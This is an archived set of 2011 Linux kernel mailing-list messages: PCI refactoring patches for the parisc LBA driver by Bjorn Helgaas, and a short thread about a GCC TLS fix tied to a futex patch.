X-Trace: dough.gmane.org 1319840846 3018 80.91.229.12 (28 Oct 2011 22:27:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 28 Oct 2011 22:27:26 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org
To: linux-pci@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 29 00:27:22 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RJutV-0002et-Tb
	for glpp-linux-parisc@lo.gmane.org; Sat, 29 Oct 2011 00:27:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933663Ab1J1W1V (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 28 Oct 2011 18:27:21 -0400
Original-Received: from smtp-out.google.com ([74.125.121.67]:9945 "EHLO
	smtp-out.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933642Ab1J1W1U (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 28 Oct 2011 18:27:20 -0400
Original-Received: from hpaq1.eem.corp.google.com (hpaq1.eem.corp.google.com [172.25.149.1])
	by smtp-out.google.com with ESMTP id p9SMRJD3025145;
	Fri, 28 Oct 2011 15:27:19 -0700
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta;
	t=1319840839; bh=YsTEVxRqnFL+BmvZLB6xFFhLmdI=;
	h=Subject:To:From:Cc:Date:Message-ID:In-Reply-To:References:
	 MIME-Version:Content-Type:Content-Transfer-Encoding;
	b=hOg84YzQIY5Ygz1W+ltFITrEGheq8eZFvU6f5djvcAWOnXSWwTnJRxzXcoBCK8DqU
	 Vrew+FaG/S/8VMQv+aw7Q==
DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns;
	h=subject:to:from:cc:date:message-id:in-reply-to:references:
	user-agent:mime-version:content-type:
	content-transfer-encoding:x-system-of-record;
	b=jVRTBB/UYl650cRp9lyl8pft4jqTk3zrVFYzrx5Je0HmMWASwnq7nH2vmAo7kMyR4
	aq5KVOORxvy9Yyt0+JXkQ==
Original-Received: from bhelgaas.mtv.corp.google.com (bhelgaas.mtv.corp.google.com [172.18.96.155])
	by hpaq1.eem.corp.google.com with ESMTP id p9SMRIFO014174;
	Fri, 28 Oct 2011 15:27:18 -0700
Original-Received: from bhelgaas.mtv.corp.google.com (unknown [IPv6:::1])
	by bhelgaas.mtv.corp.google.com (Postfix) with ESMTP id AA88F20CB1;
	Fri, 28 Oct 2011 15:27:17 -0700 (PDT)
In-Reply-To: <20111028222432.30729.8431.stgit@bhelgaas.mtv.corp.google.com>
User-Agent: StGit/0.15
X-System-Of-Record: true
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4010 gmane.linux.kernel.pci:12348 gmane.linux.kernel.cross-arch:11417
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4010>

This moves the truncate_pat_collision() call out of the pcibios_fixup_bus()
path so that when a future patch builds a list of root bus resources for
pci_create_bus(), it can use the truncated LMMIO range.

truncate_pat_collision() used to be called in this path:

    pci_scan_bus_parented
      pci_create_bus
      pci_scan_child_bus
        pcibios_fixup_bus
	  lba_fixup_bus
	    truncate_pat_collision

All of the PAT and lba_dev resource setup must be done before we call
pci_scan_bus_parented(), so it should be safe to move the
truncate_pat_collision() to just before pci_scan_bus_parented().

CC: linux-parisc@vger.kernel.org
Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
---
 drivers/parisc/lba_pci.c |   35 ++++++++++++++++++-----------------
 1 files changed, 18 insertions(+), 17 deletions(-)

diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 3aeb327..2c7edf3 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -689,23 +689,7 @@ lba_fixup_bus(struct pci_bus *bus)
 				bus->resource[i++] = &(ldev->hba.elmmio_space);
 		}
 
-
-		/*   Overlaps with elmmio can (and should) fail here.
-		 *   We will prune (or ignore) the distributed range.
-		 *
-		 *   FIXME: SBA code should register all elmmio ranges first.
-		 *      that would take care of elmmio ranges routed
-		 *	to a different rope (already discovered) from
-		 *	getting registered *after* LBA code has already
-		 *	registered it's distributed lmmio range.
-		 */
-		if (truncate_pat_collision(&iomem_resource,
-				       	&(ldev->hba.lmmio_space))) {
-
-			printk(KERN_WARNING "LBA: lmmio_space [%lx/%lx] duplicate!\n",
-					(long)ldev->hba.lmmio_space.start,
-					(long)ldev->hba.lmmio_space.end);
-		} else {
+		if (ldev->hba.lmmio_space.flags) {
 			err = request_resource(&iomem_resource, &(ldev->hba.lmmio_space));
 			if (err < 0) {
 				printk(KERN_ERR "FAILED: lba_fixup_bus() request for "
@@ -1518,6 +1502,23 @@ lba_driver_probe(struct parisc_device *dev)
 	if (lba_dev->hba.bus_num.start < lba_next_bus)
 		lba_dev->hba.bus_num.start = lba_next_bus;
 
+	/*   Overlaps with elmmio can (and should) fail here.
+	 *   We will prune (or ignore) the distributed range.
+	 *
+	 *   FIXME: SBA code should register all elmmio ranges first.
+	 *      that would take care of elmmio ranges routed
+	 *	to a different rope (already discovered) from
+	 *	getting registered *after* LBA code has already
+	 *	registered it's distributed lmmio range.
+	 */
+	if (truncate_pat_collision(&iomem_resource,
+				   &(lba_dev->hba.lmmio_space))) {
+		printk(KERN_WARNING "LBA: lmmio_space [%lx/%lx] duplicate!\n",
+				(long)lba_dev->hba.lmmio_space.start,
+				(long)lba_dev->hba.lmmio_space.end);
+		lba_dev->hba.lmmio_space.flags = 0;
+	}
+
 	dev->dev.platform_data = lba_dev;
 	lba_bus = lba_dev->hba.hba_bus =
 		pci_scan_bus_parented(&dev->dev, lba_dev->hba.bus_num.start,

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 22/34] parisc/PCI: lba: use pci_create_bus() instead of
	pci_scan_bus_parented()
Date: Fri, 28 Oct 2011 16:27:22 -0600
Lines: 47
Approved: news@gmane.org
Message-ID: <20111028222722.30729.59772.stgit@bhelgaas.mtv.corp.google.com>
References: <20111028222432.30729.8431.stgit@bhelgaas.mtv.corp.google.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1319840851 3059 80.91.229.12 (28 Oct 2011 22:27:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 28 Oct 2011 22:27:31 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org
To: linux-pci@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 29 00:27:26 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RJutZ-0002et-Vg
	for glpp-linux-parisc@lo.gmane.org; Sat, 29 Oct 2011 00:27:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932888Ab1J1W1Z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 28 Oct 2011 18:27:25 -0400
Original-Received: from smtp-out.google.com ([216.239.44.51]:35865 "EHLO
	smtp-out.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933642Ab1J1W1Y (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 28 Oct 2011 18:27:24 -0400
Original-Received: from wpaz9.hot.corp.google.com (wpaz9.hot.corp.google.com [172.24.198.73])
	by smtp-out.google.com with ESMTP id p9SMROT1006544;
	Fri, 28 Oct 2011 15:27:24 -0700
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta;
	t=1319840844; bh=1z/VDPAlSimj8n1yS/9O4WzDpP4=;
	h=Subject:To:From:Cc:Date:Message-ID:In-Reply-To:References:
	 MIME-Version:Content-Type:Content-Transfer-Encoding;
	b=OSkPRid8EibwD2PWUEbPE3GYFyJ9ODRsfVxOtUJY1F9e3l9nguX9ectIf61xZfcpL
	 5OEi7jXvncEtR4o5nJDWg==
DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns;
	h=subject:to:from:cc:date:message-id:in-reply-to:references:
	user-agent:mime-version:content-type:
	content-transfer-encoding:x-system-of-record;
	b=KlJnghQtK5WZ+uDEkmzXPaGCou6QAdcT0ZnTzovrtVa/aCzvshenTMEagb2Nh9GMV
	8sDHS7wDWBDJ1u4tXOwsg==
Original-Received: from bhelgaas.mtv.corp.google.com (bhelgaas.mtv.corp.google.com [172.18.96.155])
	by wpaz9.hot.corp.google.com with ESMTP id p9SMRNr1006258;
	Fri, 28 Oct 2011 15:27:23 -0700
Original-Received: from bhelgaas.mtv.corp.google.com (unknown [IPv6:::1])
	by bhelgaas.mtv.corp.google.com (Postfix) with ESMTP id CD18820CB1;
	Fri, 28 Oct 2011 15:27:22 -0700 (PDT)
In-Reply-To: <20111028222432.30729.8431.stgit@bhelgaas.mtv.corp.google.com>
User-Agent: StGit/0.15
X-System-Of-Record: true
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4011 gmane.linux.kernel.pci:12349 gmane.linux.kernel.cross-arch:11418
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4011>

No functional change here; just converting from pci_scan_bus_parented()
to pci_create_bus() to make a future patch simpler.

CC: linux-parisc@vger.kernel.org
Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
---
 drivers/parisc/lba_pci.c |   14 ++++++++------
 1 files changed, 8 insertions(+), 6 deletions(-)

diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 2c7edf3..e5dfa25 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1521,8 +1521,12 @@ lba_driver_probe(struct parisc_device *dev)
 
 	dev->dev.platform_data = lba_dev;
 	lba_bus = lba_dev->hba.hba_bus =
-		pci_scan_bus_parented(&dev->dev, lba_dev->hba.bus_num.start,
-				cfg_ops, NULL);
+		pci_create_bus(&dev->dev, lba_dev->hba.bus_num.start,
+			       cfg_ops, NULL);
+	if (!lba_bus)
+		return 0;
+
+	lba_bus->subordinate = pci_scan_child_bus(lba_bus);
 
 	/* This is in lieu of calling pci_assign_unassigned_resources() */
 	if (is_pdc_pat()) {
@@ -1552,10 +1556,8 @@ lba_driver_probe(struct parisc_device *dev)
 		lba_dev->flags |= LBA_FLAG_SKIP_PROBE;
 	}
 
-	if (lba_bus) {
-		lba_next_bus = lba_bus->subordinate + 1;
-		pci_bus_add_devices(lba_bus);
-	}
+	lba_next_bus = lba_bus->subordinate + 1;
+	pci_bus_add_devices(lba_bus);
 
 	/* Whew! Finally done! Tell services we got this one covered. */
 	return 0;

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel.pci,gmane.linux.ports.parisc
Subject: [PATCH v3 23/34] parisc/PCI: lba: convert to pci_create_root_bus()
	for correct root bus resources
Date: Fri, 28 Oct 2011 16:27:27 -0600
Lines: 96
Approved: news@gmane.org
Message-ID: <20111028222727.30729.43687.stgit@bhelgaas.mtv.corp.google.com>
References: <20111028222432.30729.8431.stgit@bhelgaas.mtv.corp.google.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1319840856 3094 80.91.229.12 (28 Oct 2011 22:27:36 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 28 Oct 2011 22:27:36 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org
To: linux-pci@vger.kernel.org
Original-X-From: linux-arch-owner@vger.kernel.org Sat Oct 29 00:27:32 2011
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1RJutf-0002et-BQ
	for glka-linux-arch@lo.gmane.org; Sat, 29 Oct 2011 00:27:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933677Ab1J1W1a (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 28 Oct 2011 18:27:30 -0400
Original-Received: from smtp-out.google.com ([216.239.44.51]:35876 "EHLO
	smtp-out.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933642Ab1J1W13 (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Fri, 28 Oct 2011 18:27:29 -0400
Original-Received: from wpaz33.hot.corp.google.com (wpaz33.hot.corp.google.com [172.24.198.97])
	by smtp-out.google.com with ESMTP id p9SMRTSW007907;
	Fri, 28 Oct 2011 15:27:29 -0700
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta;
	t=1319840849; bh=KfeM96it4yJxsNd5VzTp8P11FO8=;
	h=Subject:To:From:Cc:Date:Message-ID:In-Reply-To:References:
	 MIME-Version:Content-Type:Content-Transfer-Encoding;
	b=KgDVZHJMlrZFhHOr0Ta28J4bsDbhCK/qZ3ZilCoA05R12V/fuyh5omZkYy7Y37jIG
	 9yTdwueEzS/GGyhg9aIWA==
DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns;
	h=subject:to:from:cc:date:message-id:in-reply-to:references:
	user-agent:mime-version:content-type:
	content-transfer-encoding:x-system-of-record;
	b=wU1lV9BrTnnpN9GraGpdvhaL5MA3WkxmWlTA4i0dbuFkbGMiC4x8nEtET7QLbQjXB
	GXxpBNxKrNGZhWWKD3kIA==
Original-Received: from bhelgaas.mtv.corp.google.com (bhelgaas.mtv.corp.google.com [172.18.96.155])
	by wpaz33.hot.corp.google.com with ESMTP id p9SMRSko026911;
	Fri, 28 Oct 2011 15:27:28 -0700
Original-Received: from bhelgaas.mtv.corp.google.com (unknown [IPv6:::1])
	by bhelgaas.mtv.corp.google.com (Postfix) with ESMTP id ED31520CB1;
	Fri, 28 Oct 2011 15:27:27 -0700 (PDT)
In-Reply-To: <20111028222432.30729.8431.stgit@bhelgaas.mtv.corp.google.com>
User-Agent: StGit/0.15
X-System-Of-Record: true
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:11419 gmane.linux.kernel.pci:12350 gmane.linux.ports.parisc:4012
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/11419>

Supply root bus resources to pci_create_root_bus() so they're correct
immediately.  This fixes the problem of "early" and "header" quirks seeing
incorrect root bus resources.

CC: linux-parisc@vger.kernel.org
Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
---
 drivers/parisc/lba_pci.c |   29 +++++++++++++++++------------
 1 files changed, 17 insertions(+), 12 deletions(-)

diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index e5dfa25..d5f3d75 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -653,7 +653,7 @@ lba_fixup_bus(struct pci_bus *bus)
 		}
 	} else {
 		/* Host-PCI Bridge */
-		int err, i;
+		int err;
 
 		DBG("lba_fixup_bus() %s [%lx/%lx]/%lx\n",
 			ldev->hba.io_space.name,
@@ -669,9 +669,6 @@ lba_fixup_bus(struct pci_bus *bus)
 			lba_dump_res(&ioport_resource, 2);
 			BUG();
 		}
-		/* advertize Host bridge resources to PCI bus */
-		bus->resource[0] = &(ldev->hba.io_space);
-		i = 1;
 
 		if (ldev->hba.elmmio_space.start) {
 			err = request_resource(&iomem_resource,
@@ -685,8 +682,7 @@ lba_fixup_bus(struct pci_bus *bus)
 
 				/* lba_dump_res(&iomem_resource, 2); */
 				/* BUG(); */
-			} else
-				bus->resource[i++] = &(ldev->hba.elmmio_space);
+			}
 		}
 
 		if (ldev->hba.lmmio_space.flags) {
@@ -696,8 +692,7 @@ lba_fixup_bus(struct pci_bus *bus)
 					"lmmio_space [%lx/%lx]\n",
 					(long)ldev->hba.lmmio_space.start,
 					(long)ldev->hba.lmmio_space.end);
-			} else
-				bus->resource[i++] = &(ldev->hba.lmmio_space);
+			}
 		}
 
 #ifdef CONFIG_64BIT
@@ -712,7 +707,6 @@ lba_fixup_bus(struct pci_bus *bus)
 				lba_dump_res(&iomem_resource, 2);
 				BUG();
 			}
-			bus->resource[i++] = &(ldev->hba.gmmio_space);
 		}
 #endif
 
@@ -1388,6 +1382,7 @@ static int __init
 lba_driver_probe(struct parisc_device *dev)
 {
 	struct lba_device *lba_dev;
+	LIST_HEAD(resources);
 	struct pci_bus *lba_bus;
 	struct pci_ops *cfg_ops;
 	u32 func_class;
@@ -1519,12 +1514,22 @@ lba_driver_probe(struct parisc_device *dev)
 		lba_dev->hba.lmmio_space.flags = 0;
 	}
 
+	pci_add_resource(&resources, &lba_dev->hba.io_space);
+	if (lba_dev->hba.elmmio_space.start)
+		pci_add_resource(&resources, &lba_dev->hba.elmmio_space);
+	if (lba_dev->hba.lmmio_space.flags)
+		pci_add_resource(&resources, &lba_dev->hba.lmmio_space);
+	if (lba_dev->hba.gmmio_space.flags)
+		pci_add_resource(&resources, &lba_dev->hba.gmmio_space);
+
 	dev->dev.platform_data = lba_dev;
 	lba_bus = lba_dev->hba.hba_bus =
-		pci_create_bus(&dev->dev, lba_dev->hba.bus_num.start,
-			       cfg_ops, NULL);
-	if (!lba_bus)
+		pci_create_root_bus(&dev->dev, lba_dev->hba.bus_num.start,
+				    cfg_ops, NULL, &resources);
+	if (!lba_bus) {
+		pci_free_resource_list(&resources);
 		return 0;
+	}
 
 	lba_bus->subordinate = pci_scan_child_bus(lba_bus);
 


From - Thu Nov 08 21:07:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Sun, 30 Oct 2011 11:04:40 -0400
Lines: 36
Approved: news@gmane.org
Message-ID: <BLU0-SMTP13C59771871C90183AFBCB97D10@phx.gbl>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca> <20111017152358.GA3518@glitch> <CADZpyixDV_OD+YM+u2EMWqY91u_WtGGMM0J3fAofp99q+OWYnA@mail.gmail.com> <4E9C6F9E.5000605@bell.net> <BLU0-SMTP701E485C5A8DBAF113D35E97EB0@phx.gbl> <CADZpyizJx5fHwv5aHqoN-u1D95ph6dw8S+cAHKRS=MR6Y0WaPQ@mail.gmail.com> <4EA1AF18.9010605@bell.net> <4EA1B5C8.7050301@bell.net> <CADZpyizJwcEFNLZyhd74wDyFvrgNpD6j+2cRhjR7ZkL0xTWAgA@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1319987105 6074 80.91.229.12 (30 Oct 2011 15:05:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 30 Oct 2011 15:05:05 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 30 16:05:00 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RKWwV-0006RQ-R5
	for glpp-linux-parisc@lo.gmane.org; Sun, 30 Oct 2011 16:05:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755593Ab1J3PE7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 30 Oct 2011 11:04:59 -0400
Original-Received: from blu0-omc4-s15.blu0.hotmail.com ([65.55.111.154]:31008 "EHLO
	blu0-omc4-s15.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753785Ab1J3PE6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 30 Oct 2011 11:04:58 -0400
Original-Received: from BLU0-SMTP13 ([65.55.111.136]) by blu0-omc4-s15.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 30 Oct 2011 08:04:57 -0700
X-Originating-IP: [70.26.34.70]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([70.26.34.70]) by BLU0-SMTP13.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 30 Oct 2011 08:04:56 -0700
In-Reply-To: <CADZpyizJwcEFNLZyhd74wDyFvrgNpD6j+2cRhjR7ZkL0xTWAgA@mail.gmail.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 30 Oct 2011 15:04:57.0004 (UTC) FILETIME=[497E8EC0:01CC9715]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4013 gmane.linux.debian.ports.hppa:6735
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4013>

On 21-Oct-11, at 2:15 PM, Carlos O'Donell wrote:

> On Fri, Oct 21, 2011 at 2:11 PM, John David Anglin <dave.anglin@bell.net 
> > wrote:
>> On 10/21/2011 1:42 PM, John David Anglin wrote:
>>>
>>> Yes.  The issue here is expand_call doesn't appear to be aware that
>>> loading the
>>> address of a __thread variable may require a call.  Thus, it just  
>>> emits an
>>> insn to
>>> load r26.  This load is dead because r26 is reloaded for the call to
>>> __tls_get_addr.
>>
>> It appears this may be caused by treating TLS symbols as legitimate
>> constants.
>
> Which they are not in any of the *_DYNAMIC modes, because the dynamic
> linker is involved in their placement.


This problem is fixed in the GCC trunk and 4.4, 4.5 and 4.6 branches.   
libmpfr4-3.1.0
now passes all tests.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Sun, 30 Oct 2011 16:31:22 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <2746859.nK5NlKbf2R@donald.sf-tec.de>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca> <CADZpyizJwcEFNLZyhd74wDyFvrgNpD6j+2cRhjR7ZkL0xTWAgA@mail.gmail.com> <BLU0-SMTP13C59771871C90183AFBCB97D10@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart2180799.kDhop8QF1p"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1319988731 15616 80.91.229.12 (30 Oct 2011 15:32:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 30 Oct 2011 15:32:11 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 30 16:32:07 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RKXMi-0006En-Pa
	for glpp-linux-parisc@lo.gmane.org; Sun, 30 Oct 2011 16:32:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932126Ab1J3PcE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 30 Oct 2011 11:32:04 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:45373 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755617Ab1J3PcD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 30 Oct 2011 11:32:03 -0400
Original-Received: (qmail 28750 invoked from network); 30 Oct 2011 15:31:57 -0000
Original-Received: from dslb-088-071-131-207.pools.arcor-ip.net ([::ffff:88.71.131.207] HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.21svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Sun, 30 Oct 2011 16:31:57 +0100
User-Agent: KMail/4.7.2 (Linux/3.0.7-45-desktop; KDE/4.7.2; i686; ; )
In-Reply-To: <BLU0-SMTP13C59771871C90183AFBCB97D10@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4014
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4014>


--nextPart2180799.kDhop8QF1p
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="US-ASCII"

John David Anglin wrote:

> This problem is fixed in the GCC trunk and 4.4, 4.5 and 4.6 branches.
> libmpfr4-3.1.0 now passes all tests.

Can we get a link to a bug or a commit so we could easily put this into the 
gentoo patchset for local usage until a new version is released?

Eike
--nextPart2180799.kDhop8QF1p
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.15 (GNU/Linux)

iEYEABECAAYFAk6tbdMACgkQXKSJPmm5/E4utQCeOftkNmSbs79JRFsY8wA5WwUJ
z94An2WWuaBAqk20pBkBpV1B7eXcBCy8
=F1Bm
-----END PGP SIGNATURE-----

--nextPart2180799.kDhop8QF1p--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Sun, 30 Oct 2011 12:13:00 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <BLU0-SMTP8183F951B80BB9F5455EB297D10@phx.gbl>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca> <CADZpyizJwcEFNLZyhd74wDyFvrgNpD6j+2cRhjR7ZkL0xTWAgA@mail.gmail.com> <BLU0-SMTP13C59771871C90183AFBCB97D10@phx.gbl> <2746859.nK5NlKbf2R@donald.sf-tec.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1319991207 30746 80.91.229.12 (30 Oct 2011 16:13:27 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 30 Oct 2011 16:13:27 +0000 (UTC)
